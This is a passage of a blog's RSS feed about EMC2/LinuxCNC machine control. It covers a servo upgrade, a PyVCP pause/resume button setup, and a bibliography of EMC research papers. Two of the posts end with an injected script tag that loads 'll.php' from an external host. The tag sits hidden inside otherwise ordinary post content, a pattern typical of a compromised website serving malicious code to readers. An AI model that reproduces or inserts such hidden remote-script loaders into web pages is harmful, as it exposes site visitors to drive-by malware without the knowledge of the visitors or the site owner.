<a href='http://www.anderswallin.net/2010/11/emc2-upgrade/isolcpus_8k/' title='isolcpus_8k'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/11/isolcpus_8k1-150x150.png" class="attachment-thumbnail" alt="isolcpus_8k" title="isolcpus_8k" /></a>
<a href='http://www.anderswallin.net/2010/11/emc2-upgrade/1004upgrade/' title='1004upgrade'><img width="150" height="42" src="http://www.anderswallin.net/wp-content/uploads/2010/11/1004upgrade1-150x42.png" class="attachment-thumbnail" alt="1004upgrade" title="1004upgrade" /></a>

<p>Next stop is getting the X and Z servos moving, as well as the hefty 2 kW spindle servo.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2010/11/emc2-upgrade/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AXIS with PyVCP Pause/Resume button</title>
		<link>http://www.anderswallin.net/2010/10/axis-with-pyvcp-pauseresume-button/</link>
		<comments>http://www.anderswallin.net/2010/10/axis-with-pyvcp-pauseresume-button/#comments</comments>
		<pubDate>Sat, 16 Oct 2010 19:36:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[EMC]]></category>
		<category><![CDATA[halui]]></category>
		<category><![CDATA[pyvcp]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=3858</guid>
		<description><![CDATA[This minimal example shows how a pyvcp button can be added to AXIS, wired to a toggle component, then to toggle2nist (which I wrote back in 2008), and then to halui pause/resume. This makes the momentary-on pyvcp button pause the program when pressed once, and resume the program when pressed again. The xml and hal [...]]]></description>
			<content:encoded><![CDATA[<p>This minimal example shows how a <a href="http://www.linuxcnc.org/docs/devel/html/hal_pyvcp.html">pyvcp</a> button can be added to AXIS, wired to a <a href="http://www.linuxcnc.org/docs/devel/html/man/man9/toggle.9.html">toggle</a> component, then to <a href="http://www.linuxcnc.org/docs/devel/html/man/man9/toggle2nist.9.html">toggle2nist</a> (which <a href="http://www.anderswallin.net/2008/04/toggle2nist/">I wrote back in 2008</a>), and then to <a href="http://www.linuxcnc.org/docs/devel/html/gui_halui.html">halui</a> pause/resume. This makes the momentary-on pyvcp button pause the program when pressed once, and resume the program when pressed again.</p>
<p>The xml and hal files are here: <a href='http://www.anderswallin.net/wp-content/uploads/2010/10/pyvcp_pause_resume_button.tar1.gz'>pyvcp_pause_resume_button.tar</a></p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2010/10/pause_resume1.png"><img src="http://www.anderswallin.net/wp-content/uploads/2010/10/pause_resume1-300x223.png" alt="" title="pause_resume" width="300" height="223" class="alignnone size-medium wp-image-3859" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2010/10/axis-with-pyvcp-pauseresume-button/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>EMC and EMC2 references</title>
		<link>http://www.anderswallin.net/2010/09/emc-and-emc2-references/</link>
		<comments>http://www.anderswallin.net/2010/09/emc-and-emc2-references/#comments</comments>
		<pubDate>Wed, 29 Sep 2010 21:34:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[EMC]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=3797</guid>
		<description><![CDATA[Someone created a wikipedia page for EMC over here: http://en.wikipedia.org/wiki/Enhanced_Machine_Controller The wikipedia-police have immediately put it on the list of pages to be deleted ("unremarkable", "no third party references", "borderline advert", etc.). So I decided to collect some references. It is best to archive them here also, in case the wikipedia page does get deleted. [...]]]></description>
			<content:encoded><![CDATA[<p>Someone created a wikipedia page for EMC over here: <a href="http://en.wikipedia.org/wiki/Enhanced_Machine_Controller">http://en.wikipedia.org/wiki/Enhanced_Machine_Controller</a></p>
<p>The wikipedia-police have immediately put it on the list of pages to be deleted ("unremarkable", "no third party references", "borderline advert", etc.). So I decided to collect some references. It is best to archive them here also, in case the wikipedia page does get deleted.</p>
<p>There should be a report by <a href="http://www.rogierblom.nl/research/home.html">Rogier Blom</a> called roughly "Design and development of a real time trajectory planner for the Enhanced Machine Controller", but I wasn't able to find that. It's probably the same document as this one (the pdf has chapter 4-&gt;): <a href="http://emc.cvs.sourceforge.net/viewvc/emc/emc/doc/segmentqueue.pdf?view=log">http://emc.cvs.sourceforge.net/viewvc/emc/emc/doc/segmentqueue.pdf?view=log</a></p>
<p>Please comment below and/or enhance the wikipedia article if you find more references!</p>
<ul>
<li>Proctor, F. M., and Michaloski, J., "Enhanced Machine Controller  Architecture Overview," NIST Internal Report 5331, December 1993.  Available online at <a rel="nofollow" href="ftp://129.6.13.104/pub/NISTIR_5331.pdf">ftp://129.6.13.104/pub/NISTIR_5331.pdf</a></li>
</ul>
<ul>
<li>Albus, J.S., Lumia, R., “The Enhanced Machine Controller (EMC): An  Open Architecture Controller for Machine Tools,” Journal of  Manufacturing Review, Vol. 7, No. 3, pp. 278-280, September 1994.</li>
</ul>
<ul>
<li>Lumia, "The Enhanced Machine Controller Architecture", 5th  International Symposium on Robotics and Manufacturing, Maui, HI, August  14-18, 1994, <a rel="nofollow" href="http://www.nist.gov/customcf/get_pdf.cfm?pub_id=820483">http://www.nist.gov/customcf/get_pdf.cfm?pub_id=820483</a></li>
</ul>
<ul>
<li>Fred Proctor et al., "Simulation and Implementation of an Open  Architecture Controller", Simulation, and Control Technologies for  Manufacturing, Volume 2596, Proceedings of the SPIE, October 1995, <a rel="nofollow" href="http://www.isd.mel.nist.gov/documents/proctor/sim/sim.html">http://www.isd.mel.nist.gov/documents/proctor/sim/sim.html</a></li>
</ul>
<ul>
<li>Fred Proctor, John Michaloski, Will Shackleford, and Sandor Szabo,  "Validation of Standard Interfaces for Machine Control", Intelligent  Automation and Soft Computing: Trends in Research, Development, and  Applications, Volume 2, TSI Press, Albuquerque, NM, 1996, <a rel="nofollow" href="http://www.isd.mel.nist.gov/documents/proctor/isram96/isram96.html">http://www.isd.mel.nist.gov/documents/proctor/isram96/isram96.html</a></li>
</ul>
<ul>
<li>Shackleford and Proctor, "Use of open source distribution for a  Machine tool Controller", Sensors and controls for intelligent  manufacturing. Conference, Boston MA , 2001 , vol. 4191, pp. 19-30, <a rel="nofollow" href="http://www.isd.mel.nist.gov/documents/shackleford/4191_05.pdf">http://www.isd.mel.nist.gov/documents/shackleford/4191_05.pdf</a> or <a rel="nofollow" href="http://dx.doi.org/10.1117/12.417244">http://dx.doi.org/10.1117/12.417244</a></li>
</ul>
<ul>
<li>Morar et al., "ON THE POSSIBILITY OF IMPROVING THE WIND GENERATORS",  International Conference on Economic Engineering and Manufacturing  Systems, Brasov, 25-26 October 2007, <a rel="nofollow" href="http://www.recentonline.ro/021/Morar_L_01a.pdf">http://www.recentonline.ro/021/Morar_L_01a.pdf</a></li>
</ul>
<ul>
<li>Zhang et al., "Development of EMC2 CNC Based on Qt", Manufacturing Technology &amp; Machine Tool, 2008, <a rel="nofollow" href="http://en.cnki.com.cn/Article_en/CJFDTOTAL-ZJYC200802046.htm">http://en.cnki.com.cn/Article_en/CJFDTOTAL-ZJYC200802046.htm</a></li>
</ul>
<ul>
<li>Leto et al., "CAD/CAM INTEGRATION FOR NURBS PATH INTERPOLATION ON PC  BASED REAL-TIME NUMERICAL CONTROL", 8th INTERNATIONAL CONFERENCE ON  ADVANCED MANUFACTURING SYSTEMS AND TECHNOLOGY JUNE 12-13, 2008  UNIVERSITY OF UDINE - ITALY, <a rel="nofollow" href="http://158.110.28.100/amst08/papers/art837759.pdf">http://158.110.28.100/amst08/papers/art837759.pdf</a></li>
</ul>
<ul>
<li>Xu et al., "Mechanism and Application of HAL in the EMC2", Modern Manufacturing Technology and Equipment 2009-05, <a rel="nofollow" href="http://en.cnki.com.cn/Article_en/CJFDTOTAL-SDJI200905037.htm">http://en.cnki.com.cn/Article_en/CJFDTOTAL-SDJI200905037.htm</a></li>
</ul>
<ul>
<li>Zivanovic et al., "Methodology for Configuring Desktop 3-axis Parallel Kinematic Machine", FME Transactions (2009) 37, 107-115, <a rel="nofollow" href="http://www.simlab.mas.bg.ac.rs/istrazivanje/biblioteka/publikacije/Transactions_FME/Volume37/3/01_SZivanovic.pdf">http://www.simlab.mas.bg.ac.rs/istrazivanje/biblioteka/publikacije/Transactions_FME/Volume37/3/01_SZivanovic.pdf</a></li>
</ul>
<ul>
<li>Glavonjic et al., "Desktop 3-axis parallel kinematic milling  machine", The International Journal of Advanced Manufacturing Technology  Volume 46, Numbers 1-4, 51-60 (2009), <a rel="nofollow" href="http://dx.doi.org/10.1007/s00170-009-2070-3">http://dx.doi.org/10.1007/s00170-009-2070-3</a></li>
</ul>
<ul>
<li>Staroveski et al., "IMPLEMENTATION OF A LINUX-BASED CNC OPEN CONTROL  SYSTEM", 12th INTERNATIONAL SCIENTIFIC CONFERENCE ON PRODUCTION  ENGINEERING –CIM2009, Croatian Association of Production Engineering,  Zagreb 2009, <a rel="nofollow" href="http://crosbi.znanstvenici.hr/datoteka/421305.209-Staroveski-Brezak-Udiljak-Majetic-CIM_2009.pdf">http://crosbi.znanstvenici.hr/datoteka/421305.209-Staroveski-Brezak-Udiljak-Majetic-CIM_2009.pdf</a></li>
</ul>
<ul>
<li>Li et al., "Control system design and simulation of parallel  kinematic machine based on EMC2", Machinery Design &amp; Manufacture  2010-08, <a rel="nofollow" href="http://en.cnki.com.cn/Article_en/CJFDTOTAL-JSYZ201008074.htm">http://en.cnki.com.cn/Article_en/CJFDTOTAL-JSYZ201008074.htm</a></li>
</ul>
<ul>
<li>Li et al., "Kinematics Analysis and Control System Design of 6-DOF  Parallel Kinematic Machine with Matlab and EMC2" , Advanced Materials  Research (Volumes 102 - 104): Digital Design and Manufacturing  Technology, 2010, <a rel="nofollow" href="http://dx.doi.org/10.4028/www.scientific.net/AMR.102-104.363">http://dx.doi.org/10.4028/www.scientific.net/AMR.102-104.363</a></li>
</ul>
<ul>
<li>Klancnik et al., "Computer-Based Workpiece Detection on CNC Milling  Machine Tools Using Optical Camera and Neural Networks", Advances in  Production Engineering &amp; Management 5 (2010) 1, 59-68, <a rel="nofollow" href="http://maja.uni-mb.si/files/apem/APEM5-1-view.pdf">http://maja.uni-mb.si/files/apem/APEM5-1-view.pdf</a></li>
</ul>
<ul>
<li>Milutinovic et al., "Reconfigurable robotic machining system  controlled and programmed in a machine tool manner", The International  Journal of Advanced Manufacturing Technology, 2010, <a rel="nofollow" href="http://dx.doi.org/10.1007/s00170-010-2888-8">http://dx.doi.org/10.1007/s00170-010-2888-8</a></li>
</ul>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2010/09/emc-and-emc2-references/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

